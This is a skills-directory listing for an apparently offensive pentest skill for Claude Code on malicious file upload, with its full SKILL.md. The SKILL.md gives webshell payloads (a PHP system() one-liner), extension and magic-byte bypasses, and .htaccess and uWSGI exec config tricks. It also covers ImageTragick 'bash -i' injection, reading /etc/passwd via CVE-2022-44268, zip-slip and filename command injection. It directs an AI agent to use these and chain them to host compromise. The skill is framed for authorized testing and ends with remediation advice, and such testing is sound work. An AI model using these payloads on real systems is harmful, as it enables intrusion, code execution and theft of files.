Skip to content
Back to skills

File Upload

DSecurity

Malicious file upload — bypass extension/content-type/magic-byte checks to drop a webshell or trigger parser RCE/file-read. Covers polyglots, .htaccess/web.config, zip-slip, image-parser CVEs (ImageTragick, CVE-2022-44268, FFmpeg-HLS), and SVG XXE/XSS. Tier 1. Payloads: payloads/file-upload.md. Use for any upload (avatar, attachment, import, document/image processor).

  • 16 stars
  • 0 votes
  • 0 copies
  • 3 views
  • Added November 17, 2026
securitypythongophpshellbashsqlgitbackend

Works with

  • cli
  • mcp

Security analysis

D50/100
  • criticalPipes output to a shell interpreter
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill file-upload --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of File Upload?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for File Upload
[![Security: D — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-file-upload/badge)](https://www.skillsdirectory.com/skills/anandjogawade-file-upload)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: file-upload
description: "Malicious file upload — bypass extension/content-type/magic-byte checks to drop a webshell or trigger parser RCE/file-read. Covers polyglots, .htaccess/web.config, zip-slip, image-parser CVEs (ImageTragick, CVE-2022-44268, FFmpeg-HLS), and SVG XXE/XSS. Tier 1. Payloads: payloads/file-upload.md. Use for any upload (avatar, attachment, import, document/image processor)."
---

# Malicious File Upload

Get a file accepted and executed (or parsed unsafely). Goal: webshell/RCE, or file-read/SSRF via the processor.

## Trigger phrases
`file upload, unrestricted upload, webshell, upload bypass, htaccess upload, zip slip, imagetragick, svg upload`

## Method
1. **Baseline:** upload a legit image; learn stored path, naming, and whether the dir is web-served/executable. Enumerate all upload params incl. multipart **filename** and part **Content-Type** (${CLAUDE_PLUGIN_ROOT}/payloads/INJECTION-POINTS.md §2).
2. **Extension bypass** (${CLAUDE_PLUGIN_ROOT}/payloads/file-upload.md): alt PHP `.php3 .php5 .php7 .pht .phtml .phar`, ASP `.asp .aspx .cer .asa`, JSP `.jsp .jspx .jsw`; double `shell.jpg.php`, reverse-double `shell.php.jpg` (Apache `AddHandler`), mixed case `.pHp5`.
3. **Content-type / magic bypass:** spoof `Content-Type: image/png`; prepend magic bytes (PNG `\x89PNG\r\n\x1a\n`, GIF `GIF8;`) before shell; PHP without `<?php`: `<script language="php">system($_GET['c']);</script>` or `<?=`id`?>`.
4. **Execute:** request the stored file; if the dir blocks exec, chain LFI/`phar://` (see `path-traversal`).

## Modern / rare techniques
- [NEW] **Null byte** (old PHP/parsers): `shell.php%00.jpg`; **RTLO** `name.%E2%80%AEphp.jpg` → renders `name.gpj.php`; **NTFS ADS (IIS)** `file.asp::$data`, `web<<`→`web.config`; trailing `file.php......`/`file.php%20`.
- [NEW] **Config-file upload → RCE:** Apache `.htaccess` (`AddType application/x-httpd-php .rce`), IIS `web.config`, **uWSGI `uwsgi.ini`** `body = @(exec://whoami)`, **Python `.pth`** into site-packages (persistence), dependency-manager `package.json` `scripts.prepare` / `composer.json` `pre-command-run`.
- [NEW] **ImageTragick CVE-2016-3714** — `.mvg`/`.svg` with `fill 'url(... | bash -i ...)'` → RCE on convert/resize.
- [NEW] **CVE-2022-44268** ImageMagick PNG arbitrary file read: `pngcrush -text a "profile" "/etc/passwd" x.png`, upload, read via `identify -verbose` on the processed output.
- [NEW] **FFmpeg HLS SSRF/file-read:** craft AVI with HLS playlist (`gen_xbin_avi.py`) → reads `file://`/HTTP when the server transcodes.
- [NEW] **Zip-slip:** `../../` in archive entry names → write webshell outside extract dir. Ghostscript `-dSAFER` bypasses via PS/EPS.
- **SVG:** XSS (`<script>`), XXE, SSRF — chain `xxe`. GD-surviving polyglot image + LFI to execute.

## Bypass / evasion
${CLAUDE_PLUGIN_ROOT}/payloads/waf-bypass.md + file-upload.md: send allowed+disallowed Content-Type twice, duplicate/added multipart parts (parser discrepancy), case/encoding of extension, filename-injection payloads (SQLi/XSS/traversal/cmd in the filename itself, e.g. `image.png../../../../etc/passwd`, `; sleep 10;`).

## Escalation / chaining
Webshell → `command-injection` → host/cloud. Image-parser file-read → secrets → auth bypass. SVG → `xxe`/`dom-xss`. phar polyglot → `php-object-injection`. Upload dir not executable → `path-traversal` (LFI include).

## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike): `fuxploider`, ImageMagick/`pngcrush`/`identify`, `gen_xbin_avi.py`, Burp UploadScanner, interactsh for blind SSRF/exec callbacks. Headless browser for client-rendered SVG. If a Burp MCP is present, send multipart variants to Repeater/Intruder. Windows-local last resort. See `zazy-orchestrator`.

## Verification (background, before reporting)
Re-confirm independently (second payload/tool/vantage or OAST callback) and reproduce before marking CONFIRMED. For blind cases use OAST (Collaborator/interactsh) before concluding negative. Report true positives only. Remove any uploaded test artifacts after proof.

## Evidence
The accepted malicious file + stored URL, request/response proving execution or returned command/file output (or OAST callback), the bypass used, affected endpoint, impact. Remediation: validate by magic bytes + re-encode images, random stored name with safe extension, store outside webroot / non-executable dir, block archive traversal, patch image/transcode libs.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.